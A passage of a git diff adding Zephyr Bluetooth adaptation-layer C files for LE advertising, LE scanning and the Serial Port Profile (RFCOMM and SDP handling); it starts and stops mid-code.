STACK_CALL(stop_adv)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_le_adv_set* adv_set; + int ret; + + adv_set = zblue_le_ext_find_adv(req->adv_id); + if (!adv_set) { + BT_LOGE("%s, le ext adv_set find fail", __func__); + return; + } + + ret = bt_le_ext_adv_stop(adv_set->adv); + if (ret) { + BT_LOGE("%s, le ext adv stop fail", __func__); + return; + } + + ret = zblue_le_ext_delete(adv_set); + if (ret) { + BT_LOGE("%s, le ext adv stop fail", __func__); + return; + } + + advertising_on_state_changed(req->adv_id, LE_ADVERTISING_STOPPED); +} + +bt_status_t bt_sal_le_stop_adv(bt_controller_id_t id, uint8_t adv_id) +{ + sal_adapter_req_t* req; + + req = sal_adapter_req(id, adv_id, STACK_CALL(stop_adv)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +} +#endif /*CONFIG_BLUETOOTH_BLE_ADV*/ \ No newline at end of file diff --git a/service/stacks/zephyr/sal_le_scan_interface.c b/service/stacks/zephyr/sal_le_scan_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..f62356dbe4e5dce08c9a9423e6757a0c8bb803b0 --- /dev/null +++ b/service/stacks/zephyr/sal_le_scan_interface.c @@ -0,0 +1,161 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <string.h> +#include <zephyr/bluetooth/addr.h> +#include <zephyr/bluetooth/bluetooth.h> +#include <zephyr/bluetooth/conn.h> +#include <zephyr/bluetooth/gatt.h> +#include <zephyr/bluetooth/l2cap.h> +#include <zephyr/bluetooth/uuid.h> + +#ifdef CONFIG_BLUETOOTH_BLE_SCAN +#include "sal_interface.h" +#include "sal_le_scan_interface.h" +#include "service_loop.h" + +#include "utils/log.h" + +#define STACK_CALL(func) zblue_##func + +typedef void (*sal_func_t)(void* args); + +typedef struct { + bt_controller_id_t id; + sal_func_t func; +} sal_scan_req_t; + +typedef struct { + char value[256]; + uint8_t length; +} le_eir_data_t; + +static struct bt_le_scan_param scan_param; + +static sal_scan_req_t* sal_scan_req(bt_controller_id_t id, sal_func_t func) +{ + sal_scan_req_t* req = calloc(1, sizeof(sal_scan_req_t)); + + if (!req) { + BT_LOGE("%s, req malloc fail", __func__); + return NULL; + } + + req->id = id; + req->func = func; + + return req; +} + +static void sal_invoke_async(service_work_t* work, void* userdata) +{ + sal_scan_req_t* req = userdata; + + SAL_ASSERT(req); + req->func(req); + free(userdata); +} + +static bt_status_t sal_send_req(sal_scan_req_t* req) +{ + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_PARM_INVALID; + } + + if (!service_loop_work((void*)req, sal_invoke_async, NULL)) { + BT_LOGE("%s, service_loop_work fail", __func__); + free(req); + return BT_STATUS_FAIL; + } + + return BT_STATUS_SUCCESS; +} + +static bool zblue_on_eir_found(struct bt_data* data, void* user_data) +{ + le_eir_data_t* eir = user_data; + + eir->value[eir->length++] = data->data_len + 1; + eir->value[eir->length++] = data->type; + memcpy(&eir->value[eir->length], data->data, data->data_len); + eir->length += data->data_len; + return true; +} + +static void zblue_on_device_found(const bt_addr_le_t* addr, int8_t rssi, uint8_t type, struct net_buf_simple* ad) +{ + ble_scan_result_t result_info = { 0 }; + le_eir_data_t eir = { 0 }; + + bt_data_parse(ad, zblue_on_eir_found, &eir); + + result_info.length = eir.length; + result_info.adv_type = type; + result_info.rssi = rssi; + result_info.dev_type = BT_DEVICE_DEVTYPE_BLE; + result_info.addr_type = addr->type; + memcpy(&result_info.addr, &addr->a, sizeof(result_info.addr)); + + scan_on_result_data_update(&result_info, eir.value); +} + +static void STACK_CALL(start_scan)(void* args) +{ + SAL_CHECK(bt_le_scan_start(&scan_param, zblue_on_device_found), 0); +} + +static void STACK_CALL(stop_scan)(void* args) +{ + SAL_CHECK(bt_le_scan_stop(), 0); +} + +bt_status_t bt_sal_le_set_scan_parameters(bt_controller_id_t id, ble_scan_params_t* params) +{ + memset(&scan_param, 0, sizeof(scan_param)); + scan_param.type = params->scan_type; + scan_param.interval = params->scan_interval; + scan_param.window = params->scan_window; + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_le_start_scan(bt_controller_id_t id) +{ + sal_scan_req_t* req; + + req = sal_scan_req(id, STACK_CALL(start_scan)); + if (!req) { + BT_LOGE("%s, sal req fail", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +} + +bt_status_t bt_sal_le_stop_scan(bt_controller_id_t id) +{ + sal_scan_req_t* req; + + req = sal_scan_req(id, STACK_CALL(stop_scan)); + if (!req) { + BT_LOGE("%s, sal req fail", __func__); + return BT_STATUS_NOMEM; + } + + return sal_send_req(req); +} +#endif /* CONFIG_BLUETOOTH_BLE_SCAN */ diff --git a/service/stacks/zephyr/sal_spp_interface.c b/service/stacks/zephyr/sal_spp_interface.c new file mode 100644 index 0000000000000000000000000000000000000000..6c41da2b56033466c9dae452bdf49bc97b38cf1c --- /dev/null +++ b/service/stacks/zephyr/sal_spp_interface.c @@ -0,0 +1,1038 @@ +/**************************************************************************** + * Copyright (C) 2025 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <debug.h> +#include <stdbool.h> +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> + +#include <zephyr/bluetooth/classic/rfcomm.h> +#include <zephyr/bluetooth/classic/sdp.h> +#include <zephyr/sys/byteorder.h> + +#include "bt_addr.h" +#include "service_loop.h" +#include "spp_service.h" +#include "utils/log.h" + +#include "sal_connection_manager.h" +#include "sal_interface.h" +#include "sal_spp_interface.h" +#include "sal_zblue.h" + +#define PORT2DLCI(_port, _accept) (_accept ? (_port & 0x3E) : ((_port & 0x3E) + 1)) +#define PORT2SCN(_port) ((_port & 0x3E) >> 1) + +#define STACK_SVR_PORT(scn) (((scn << 1) & 0x3E) + 1) + +#define SAL_SPP_RFCOMM_MFS 990 +#define SPP_DEFAULT_CREDITS 10 +#define SPP_MFS_EXTRA_SIZE 14 +#define SDP_CLIENT_BUF_LEN 512 + +typedef struct { + struct bt_rfcomm_server rfcomm_server; + const char* name; + bt_uuid_t uuid; + uint16_t scn; + struct bt_sdp_record* sdp_record; +} sal_spp_server_t; + +typedef struct { + struct bt_sdp_discover_params sdp_discover; + uint16_t scn; + struct bt_uuid_128 uuid_128; + bool discovered; +} sal_spp_client_t; + +typedef struct { + struct bt_rfcomm_dlc rfcomm_dlc; + sal_spp_server_t* spp_server; + sal_spp_client_t* spp_client; + struct bt_conn* conn; + bt_address_t addr; + uint16_t scn; + uint16_t conn_port; + bt_uuid_t uuid; + bt_list_t* tx_list; + bt_list_t* rx_list; +} sal_spp_connection_t; + +typedef struct { + uint16_t conn_port; + uint8_t* buf; +} sal_spp_buffer_t; + +typedef struct { + struct bt_sdp_record record; + struct bt_sdp_attribute* attrs; + uint8_t uuid128[BT_UUID_SIZE_128]; + uint16_t channel; +} spp_sdp_record_t; + +typedef struct { + bt_list_t* servers; + bt_list_t* connections; + pthread_mutex_t mutex; +} sal_spp_manager_t; + +extern struct net_buf_pool sdp_pool; + +NET_BUF_POOL_FIXED_DEFINE(rfcomm_tx_pool, SPP_DEFAULT_CREDITS, + SAL_SPP_RFCOMM_MFS + SPP_MFS_EXTRA_SIZE, CONFIG_BT_CONN_TX_USER_DATA_SIZE, NULL); + +static struct bt_sdp_attribute spp_attrs_template[] = { + BT_SDP_NEW_SERVICE, + BT_SDP_LIST( + BT_SDP_ATTR_SVCLASS_ID_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 17), + BT_SDP_DATA_ELEM_LIST( + { + BT_SDP_TYPE_SIZE(BT_SDP_UUID128), + NULL /* uuid128_buf value will be set later */ + }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROTO_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 12), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 3), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_L2CAP) }, ) }, + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 5), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_PROTO_RFCOMM) }, + { + BT_SDP_TYPE_SIZE(BT_SDP_UINT8), + 0 /* spp channel will be set later */ + }, ) }, )), + BT_SDP_LIST( + BT_SDP_ATTR_PROFILE_DESC_LIST, + BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 8), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE_VAR(BT_SDP_SEQ8, 6), + BT_SDP_DATA_ELEM_LIST( + { BT_SDP_TYPE_SIZE(BT_SDP_UUID16), + BT_SDP_ARRAY_16(BT_SDP_SERIAL_PORT_SVCLASS) }, + { BT_SDP_TYPE_SIZE(BT_SDP_UINT16), + BT_SDP_ARRAY_16(0x0102) }, ) }, )), + BT_SDP_SERVICE_NAME("Serial Port"), +}; + +sal_spp_manager_t g_spp_manager = { + .servers = NULL, + .connections = NULL, + .mutex = PTHREAD_MUTEX_INITIALIZER, +}; + +static bt_status_t spp_disconnect_handler(bt_controller_id_t id, bt_address_t* bd_addr, void* user_data); + +static inline void spp_conn_lock(void) +{ + pthread_mutex_lock(&g_spp_manager.mutex); +} + +static inline void spp_conn_unlock(void) +{ + pthread_mutex_unlock(&g_spp_manager.mutex); +} + +static sal_spp_connection_t* spp_find_connection_by_port(uint16_t conn_port) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_connection_t* spp_conn; + bt_list_node_t* node; + + for (node = bt_list_head(spp_mgr->connections); node != NULL; + node = bt_list_next(spp_mgr->connections, node)) { + spp_conn = bt_list_node(node); + if (spp_conn->conn_port == conn_port) { + return spp_conn; + } + } + + return NULL; +} + +static sal_spp_connection_t* spp_find_connection_by_dlc(struct bt_rfcomm_dlc* rfcomm_dlc) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_connection_t* spp_conn; + bt_list_node_t* node; + + for (node = bt_list_head(spp_mgr->connections); node != NULL; + node = bt_list_next(spp_mgr->connections, node)) { + spp_conn = bt_list_node(node); + if (&spp_conn->rfcomm_dlc == rfcomm_dlc) { + return spp_conn; + } + } + + return NULL; +} + +static sal_spp_connection_t* spp_find_connection_by_sdp_param(struct bt_conn* conn, const struct bt_sdp_discover_params* param) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + bt_list_node_t* node; + + if (!conn) { + return NULL; + } + + for (node = bt_list_head(spp_mgr->connections); node != NULL; + node = bt_list_next(spp_mgr->connections, node)) { + sal_spp_connection_t* spp_conn; + sal_spp_client_t* spp_client; + + spp_conn = bt_list_node(node); + spp_client = spp_conn->spp_client; + if ((spp_conn && (spp_conn->conn == conn)) && (spp_client && (&spp_client->sdp_discover == param))) { + return spp_conn; + } + } + + return NULL; +} + +static sal_spp_connection_t* spp_find_connection_by_dlci(const bt_address_t* addr, uint16_t dlci) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_connection_t* spp_conn; + bt_list_node_t* node; + + for (node = bt_list_head(spp_mgr->connections); node != NULL; + node = bt_list_next(spp_mgr->connections, node)) { + spp_conn = bt_list_node(node); + if (spp_conn->rfcomm_dlc.dlci == dlci && bt_addr_compare(&spp_conn->addr, addr) == 0) { + return spp_conn; + } + } + + return NULL; +} + +static sal_spp_server_t* spp_find_server_by_scn(uint16_t scn) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_server_t* spp_server; + bt_list_node_t* node; + + for (node = bt_list_head(spp_mgr->servers); node != NULL; + node = bt_list_next(spp_mgr->servers, node)) { + spp_server = bt_list_node(node); + if (spp_server->scn == scn) { + return spp_server; + } + } + + return NULL; +} + +struct bt_sdp_record* spp_sdp_create_record(uint16_t channel, bt_uuid_t* uuid) +{ + spp_sdp_record_t* spp_record; + size_t attrs_count; + + if (!uuid) { + BT_LOGE("Invalid uuid"); + return NULL; + } + + spp_record = zalloc(sizeof(spp_sdp_record_t)); + if (!spp_record) { + BT_LOGE("Failed to allocate memory for SPP SDP value with uuid"); + return NULL; + } + + spp_record->attrs = zalloc(sizeof(spp_attrs_template)); + if (!spp_record->attrs) { + BT_LOGE("Failed to allocate memory for SPP SDP attributes with uuid"); + free(spp_record); + return NULL; + } + + attrs_count = ARRAY_SIZE(spp_attrs_template); + memcpy(spp_record->attrs, spp_attrs_template, sizeof(spp_attrs_template)); + + sys_memcpy_swap(spp_record->uuid128, uuid->val.u128, BT_UUID_SIZE_128); + spp_record->channel = channel; + + for (int i = 0; i < attrs_count; i++) { + if (spp_record->attrs[i].id == BT_SDP_ATTR_SVCLASS_ID_LIST) { + struct bt_sdp_data_elem* element = (struct bt_sdp_data_elem*)&spp_record->attrs[i].val; + + element = (struct bt_sdp_data_elem*)element[0].data; + element->type = BT_SDP_UUID128; + element->data = spp_record->uuid128; + } else if (spp_record->attrs[i].id == BT_SDP_ATTR_PROTO_DESC_LIST) { + struct bt_sdp_data_elem* element = (struct bt_sdp_data_elem*)&spp_record->attrs[i].val; + + element = (struct bt_sdp_data_elem*)element->data; + if (!element) { + BT_LOGE("SPP Descriptor List PROTO_DESC is NULL"); + goto fail; + } + + element = (struct bt_sdp_data_elem*)element[1].data; + if (!element) { + BT_LOGE("SPP Descriptor List Channel is NULL"); + goto fail; + } + + element[1].data = &spp_record->channel; + } + } + + spp_record->record.attr_count = attrs_count; + spp_record->record.attrs = spp_record->attrs; + + return &spp_record->record; + +fail: + free(spp_record->attrs); + free(spp_record); + return NULL; +} + +void spp_sdp_remove_record(struct bt_sdp_record* record) +{ + spp_sdp_record_t* spp_record = CONTAINER_OF(record, spp_sdp_record_t, record); + + free(spp_record->attrs); + free(spp_record); +} + +static void spp_rfcomm_connected(struct bt_rfcomm_dlc* rfcomm_dlc) +{ + sal_spp_connection_t* spp_conn; + + BT_LOGD("%s, rfcomm_dlc: %p", __func__, rfcomm_dlc); + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlc(rfcomm_dlc); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection not found for rfcomm_dlc"); + return; + } + + spp_on_connection_state_changed(&spp_conn->addr, spp_conn->conn_port, PROFILE_STATE_CONNECTED); + spp_on_connection_mfs_update(spp_conn->conn_port, rfcomm_dlc->mtu); + + bt_sal_cm_profile_connected_callback(&spp_conn->addr, PROFILE_SPP, spp_conn->conn_port); + bt_sal_profile_disconnect_register(&spp_conn->addr, PROFILE_SPP, spp_conn->conn_port, PRIMARY_ADAPTER, spp_disconnect_handler, spp_conn); + + spp_conn_unlock(); +} + +static void spp_disconnected_defer_handler(void* context) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + struct bt_rfcomm_dlc* rfcomm_dlc = (struct bt_rfcomm_dlc*)context; + sal_spp_connection_t* spp_conn; + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlc(rfcomm_dlc); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection not found for rfcomm_dlc"); + return; + } + + BT_LOGD("%s, conn_port: %d", __func__, spp_conn->conn_port); + bt_list_remove(spp_mgr->connections, spp_conn); + spp_conn_unlock(); +} + +static void spp_rfcomm_disconnected(struct bt_rfcomm_dlc* rfcomm_dlc) +{ + sal_spp_connection_t* spp_conn; + + BT_LOGD("%s, rfcomm_dlc: %p", __func__, rfcomm_dlc); + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlc(rfcomm_dlc); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection not found for rfcomm_dlc"); + return; + } + + spp_on_connection_state_changed(&spp_conn->addr, spp_conn->conn_port, PROFILE_STATE_DISCONNECTED); + bt_sal_cm_profile_disconnected_callback(&spp_conn->addr, PROFILE_SPP, spp_conn->conn_port); + + do_in_service_loop_deffered(spp_disconnected_defer_handler, rfcomm_dlc, false); + spp_conn_unlock(); +} + +static void spp_rfcomm_recv(struct bt_rfcomm_dlc* rfcomm_dlc, struct net_buf* buf) +{ + sal_spp_connection_t* spp_conn; + + BT_DUMPBUFFER("SPP RX:", buf->data, buf->len); + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlc(rfcomm_dlc); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection not found for rfcomm_dlc"); + return; + } + + bt_list_add_tail(spp_conn->rx_list, net_buf_ref(buf)); + spp_on_data_received(&spp_conn->addr, spp_conn->conn_port, buf->data, buf->len); + spp_conn_unlock(); +} + +static void spp_rfcomm_sent(struct bt_rfcomm_dlc* rfcomm_dlc, int err) +{ + sal_spp_connection_t* spp_conn; + + if (err < 0) { + BT_LOGE("Failed to send data on RFCOMM rfcomm_dlc %p, error: %d", rfcomm_dlc, err); + return; + } + + spp_conn_lock(); + spp_conn = spp_find_connection_by_dlc(rfcomm_dlc); + if (!spp_conn) { + spp_conn_unlock(); + BT_LOGE("SPP connection not found for rfcomm_dlc"); + return; + } + + bt_list_remove_node(spp_conn->tx_list, bt_list_head(spp_conn->tx_list)); + spp_conn_unlock(); +} + +static struct bt_rfcomm_dlc_ops g_rfcomm_ops = { + .connected = spp_rfcomm_connected, + .disconnected = spp_rfcomm_disconnected, + .recv = spp_rfcomm_recv, + .sent = spp_rfcomm_sent, +}; + +static void spp_tx_clean(void* data) +{ + sal_spp_buffer_t* tx_buf = (sal_spp_buffer_t*)data; + + if (!tx_buf) { + return; + } + + /* Notify SPP service that data has been sent */ + spp_on_data_sent(tx_buf->conn_port, tx_buf->buf, 0, 0); + free(tx_buf); +} + +static void spp_rx_buf_free(void* data) +{ + struct net_buf* nbuf = (struct net_buf*)data; + + if (nbuf) { + net_buf_unref(nbuf); + } +} + +static void spp_connection_free(void* data) +{ + sal_spp_connection_t* spp_conn = (sal_spp_connection_t*)data; + + if (!data) { + return; + } + + if (spp_conn->tx_list) { + bt_list_free(spp_conn->tx_list); + } + + if (spp_conn->rx_list) { + bt_list_free(spp_conn->rx_list); + } + + if (spp_conn->conn) { + bt_conn_unref(spp_conn->conn); + spp_conn->conn = NULL; + } + + if (spp_conn->spp_client) { + free(spp_conn->spp_client); + spp_conn->spp_client = NULL; + } + + free(spp_conn); +} + +static sal_spp_connection_t* spp_connection_new(bt_address_t* addr, uint16_t conn_port, uint16_t scn) +{ + sal_spp_connection_t* spp_conn; + + spp_conn = malloc(sizeof(sal_spp_connection_t)); + if (!spp_conn) { + BT_LOGE("Failed to allocate memory for SPP connection"); + return NULL; + } + + memset(spp_conn, 0, sizeof(sal_spp_connection_t)); + spp_conn->scn = scn; + spp_conn->conn_port = conn_port; + spp_conn->tx_list = bt_list_new(spp_tx_clean); + if (!spp_conn->tx_list) { + BT_LOGE("Failed to create SPP connection transmission list"); + spp_connection_free(spp_conn); + return NULL; + } + + spp_conn->rx_list = bt_list_new(spp_rx_buf_free); + if (!spp_conn->rx_list) { + BT_LOGE("Failed to create SPP connection reception list"); + spp_connection_free(spp_conn); + return NULL; + } + + spp_conn->rfcomm_dlc.ops = &g_rfcomm_ops; + spp_conn->rfcomm_dlc.mtu = SAL_SPP_RFCOMM_MFS; + memcpy(&spp_conn->addr, addr, sizeof(bt_address_t)); + + return spp_conn; +} + +static int spp_rfcomm_accept(struct bt_conn* conn, struct bt_rfcomm_server* server, struct bt_rfcomm_dlc** rfcomm_dlc) +{ + bt_address_t addr; + bt_status_t status; + sal_spp_connection_t* spp_conn; + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_server_t* spp_server = CONTAINER_OF(server, sal_spp_server_t, rfcomm_server); + + status = bt_sal_get_remote_address(conn, &addr); + if (status != BT_STATUS_SUCCESS) { + BT_LOGE("Failed to get remote address, error: %d", status); + return -ENXIO; + } + + spp_conn = spp_connection_new(&addr, 0, PORT2SCN(server->channel)); + if (!spp_conn) { + BT_LOGE("Failed to create SPP connection for DLCI %d", server->channel); + return -ENOMEM; + } + + spp_conn->spp_server = spp_server; + spp_conn->conn = conn; + bt_conn_ref(conn); + + spp_conn_lock(); + bt_list_add_tail(spp_mgr->connections, spp_conn); + *rfcomm_dlc = &spp_conn->rfcomm_dlc; + spp_conn_unlock(); + + spp_on_server_recieve_connect_request(&addr, STACK_SVR_PORT(server->channel)); + + BT_LOGD("RFCOMM DLC accept, dlci: %d", server->channel); + + return 0; +} + +bt_status_t bt_sal_spp_init(void) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + + spp_mgr->servers = bt_list_new(NULL); + if (!spp_mgr->servers) { + BT_LOGE("Failed to create SPP servers list"); + return BT_STATUS_NOMEM; + } + + spp_mgr->connections = bt_list_new(spp_connection_free); + if (!spp_mgr->connections) { + BT_LOGE("Failed to create SPP connections list"); + bt_list_free(spp_mgr->servers); + spp_mgr->servers = NULL; + return BT_STATUS_NOMEM; + } + + return BT_STATUS_SUCCESS; +} + +void bt_sal_spp_cleanup(void) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + bt_list_t* connections; + bt_list_t* servers; + bt_list_node_t* node; + + spp_conn_lock(); + + connections = spp_mgr->connections; + for (node = bt_list_head(connections); node != NULL; + node = bt_list_next(connections, node)) { + sal_spp_connection_t* spp_conn = bt_list_node(node); + + bt_rfcomm_dlc_disconnect(&spp_conn->rfcomm_dlc); + } + + servers = spp_mgr->servers; + for (node = bt_list_head(servers); node != NULL; + node = bt_list_next(servers, node)) { + sal_spp_server_t* spp_server = bt_list_node(node); + + bt_sal_spp_server_stop(STACK_SVR_PORT(spp_server->scn)); + } + + spp_conn_unlock(); +} + +bt_status_t bt_sal_spp_server_start(uint16_t port, bt_uuid_t* uuid, uint8_t max_connection) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_server_t* server; + uint16_t scn = PORT2SCN(port); + int ret; + + if (scn < BT_RFCOMM_CHAN_SPP || scn > 30) { + BT_LOGE("Invalid port number: %d", port); + return BT_STATUS_PARM_INVALID; + } + + server = zalloc(sizeof(sal_spp_server_t)); + if (!server) { + return BT_STATUS_NOMEM; + } + + server->scn = scn; + server->rfcomm_server.channel = scn; + server->rfcomm_server.accept = spp_rfcomm_accept; + ret = bt_rfcomm_server_register(&server->rfcomm_server); + if (ret < 0) { + BT_LOGE("Failed to register RFCOMM server: %d", ret); + free(server); + return BT_STATUS_FAIL; + } + + server->sdp_record = (struct bt_sdp_record*)spp_sdp_create_record(scn, uuid); + ret = bt_sdp_register_service(server->sdp_record); + if (ret < 0) { + // TODO: unregister rfcomm server + BT_LOGE("Failed to register SDP record: %d", ret); + spp_sdp_remove_record(server->sdp_record); + free(server); + return BT_STATUS_FAIL; + } + + bt_list_add_tail(spp_mgr->servers, server); + BT_LOGD("SDP record registered for RFCOMM server on channel %d", scn); + + return BT_STATUS_SUCCESS; +} + +bt_status_t bt_sal_spp_server_stop(uint16_t port) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_server_t* server; + uint16_t scn = PORT2SCN(port); + + server = spp_find_server_by_scn(scn); + if (!server) { + BT_LOGE("No SPP server found for SCN %d", scn); + return BT_STATUS_PARM_INVALID; + } + + bt_sdp_unregister_service(server->sdp_record); + spp_sdp_remove_record((void*)server->sdp_record); + + bt_rfcomm_server_unregister(&server->rfcomm_server); + + bt_list_remove(spp_mgr->servers, server); + free(server); + + BT_LOGD("SDP record unregistered for RFCOMM server on channel %d", scn); + return BT_STATUS_SUCCESS; +} + +static int spp_connect_with_channel(sal_spp_connection_t* spp_conn, uint16_t scn) +{ + int err; + + if (!spp_conn) { + BT_LOGE("Invalid parameters: spp_conn is null"); + return BT_STATUS_PARM_INVALID; + } + + spp_conn->spp_client->scn = scn; + + err = bt_rfcomm_dlc_connect(spp_conn->conn, &spp_conn->rfcomm_dlc, scn); + if (err < 0) { + BT_LOGE("Failed to connect RFCOMM DLC: %d", err); + return err; + } + + return 0; +} + +static uint8_t sdp_discovered_cb(struct bt_conn* conn, struct bt_sdp_client_result* result, + const struct bt_sdp_discover_params* param) +{ + int err; + uint8_t ret = BT_SDP_DISCOVER_UUID_STOP; + uint16_t scn; + sal_spp_connection_t* spp_conn; + + spp_conn = spp_find_connection_by_sdp_param(conn, param); + if (!spp_conn) { + BT_LOGE("SPP connection not found for conn"); + return BT_SDP_DISCOVER_UUID_STOP; + } + + if (!result->resp_buf) { + BT_LOGE("SPP SDP discover response buffer is null"); + ret = BT_SDP_DISCOVER_UUID_CONTINUE; + goto fail; + } + + err = bt_sdp_get_proto_param(result->resp_buf, BT_SDP_PROTO_RFCOMM, &scn); + if (err < 0) { + BT_LOGE("Failed to get RFCOMM channel from SDP response: %d", err); + ret = BT_SDP_DISCOVER_UUID_CONTINUE; + goto fail; + } + + BT_LOGD("SPP SDP record found: scn=%d", scn); + + err = spp_connect_with_channel(spp_conn, scn); + if (err < 0) { + BT_LOGE("SPP connect RFCOMM fail, err:%d", err); + ret = BT_SDP_DISCOVER_UUID_STOP; + goto fail; + } + + spp_conn->spp_client->discovered = true; + return BT_SDP_DISCOVER_UUID_STOP; + +fail: + spp_conn->spp_client->discovered = false; + return ret; +} + +static void sdp_disconnected_cb(struct bt_conn* conn, const struct bt_sdp_discover_params* param) +{ + sal_spp_connection_t* spp_conn; + sal_spp_client_t* spp_client; + + spp_conn = spp_find_connection_by_sdp_param(conn, param); + if (!spp_conn) { + BT_LOGE("SPP connection not found for conn"); + return; + } + + BT_LOGD("SPP SDP discover disconnected"); + spp_client = spp_conn->spp_client; + if (!spp_client) { + BT_LOGE("SPP client not found for conn"); + return; + } + + if (spp_client->discovered == false) { + spp_rfcomm_disconnected(&spp_conn->rfcomm_dlc); + } +} + +static bt_status_t spp_connect_with_uuid(sal_spp_connection_t* spp_conn, bt_uuid_t* uuid) +{ + sal_spp_client_t* spp_client = spp_conn->spp_client; + int err; + bt_uuid_t uuid_128; + + if (!spp_conn || !uuid) { + BT_LOGE("Invalid parameters: spp_conn=%p, uuid=%p", spp_conn, uuid); + return BT_STATUS_PARM_INVALID; + } + + sys_memcpy_swap(uuid_128.val.u128, uuid->val.u128, sizeof(uuid->val.u128)); + + err = bt_uuid_create((struct bt_uuid*)&spp_client->uuid_128, uuid_128.val.u128, BT_UUID_SIZE_128); + if (err < 0) { + BT_LOGE("Failed to create UUID: %d", err); + return err; + } + + spp_client->sdp_discover.func = sdp_discovered_cb; + spp_client->sdp_discover.disconnected = sdp_disconnected_cb; + spp_client->sdp_discover.type = BT_SDP_DISCOVER_SERVICE_SEARCH_ATTR; + spp_client->sdp_discover.pool = &sdp_pool; + spp_client->sdp_discover.uuid = (const struct bt_uuid*)&spp_client->uuid_128; + + err = bt_sdp_discover(spp_conn->conn, &spp_client->sdp_discover); + if (err < 0) { + BT_LOGE("Failed to discover service: %d", err); + return err; + } + + return 0; +} + +static bt_status_t spp_connect_handler(bt_controller_id_t id, bt_address_t* addr, void* user_data) +{ + sal_spp_manager_t* spp_mgr = &g_spp_manager; + sal_spp_connection_t* spp_conn = (sal_spp_connection_t*)user_data; + struct bt_conn* conn; + + BT_LOGD("Initiating SPP connection to addr:%s", bt_addr_str(addr)); + spp_on_connection_state_changed(addr, spp_conn->conn_port, PROFILE_STATE_CONNECTING); + + conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + if (!conn) { + BT_LOGE("No ACL connection found for address: %s", bt_addr_str(addr)); + goto fail; + } + + spp_conn->conn = conn; + + if (spp_conn->conn_port & 0x3F) { + int err; + + err = spp_connect_with_channel(spp_conn, spp_conn->scn); + if (err < 0) { + BT_LOGE("Failed to connect with scn: %d", err); + goto fail; + } + } else { + int err; + + err = spp_connect_with_uuid(spp_conn, &spp_conn->uuid); + if (err < 0) { + BT_LOGE("Failed to connect with uuid, err: %d", err); + goto fail; + } + } + + spp_conn_lock(); + bt_list_add_tail(spp_mgr->connections, spp_conn); + spp_conn_unlock(); + + return BT_STATUS_SUCCESS; + +fail: + spp_on_connection_state_changed(addr, spp_conn->conn_port, PROFILE_STATE_DISCONNECTED); + bt_sal_cm_profile_disconnected_callback(&spp_conn->addr, PROFILE_SPP, spp_conn->conn_port); + spp_connection_free(spp_conn); + return BT_STATUS_FAIL; +} + +bt_status_t bt_sal_spp_connect(bt_address_t* addr, uint16_t conn_port, bt_uuid_t* uuid) +{ + sal_spp_connection_t* spp_conn; + uint16_t scn = PORT2SCN(conn_port); + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + char uuid_str[40] = { 0 }; + sal_spp_client_t* spp_client; + bt_status_t status; + + if (!addr || scn > 30) { + BT_LOGE("Invalid parameters: addr=%p, scn=%d", addr, scn); + return BT_STATUS_PARM_INVALID; + } + + bt_addr_ba2str(addr, addr_str); + bt_uuid_to_string(uuid, uuid_str, 40); + BT_LOGD("%s, addr:%s, 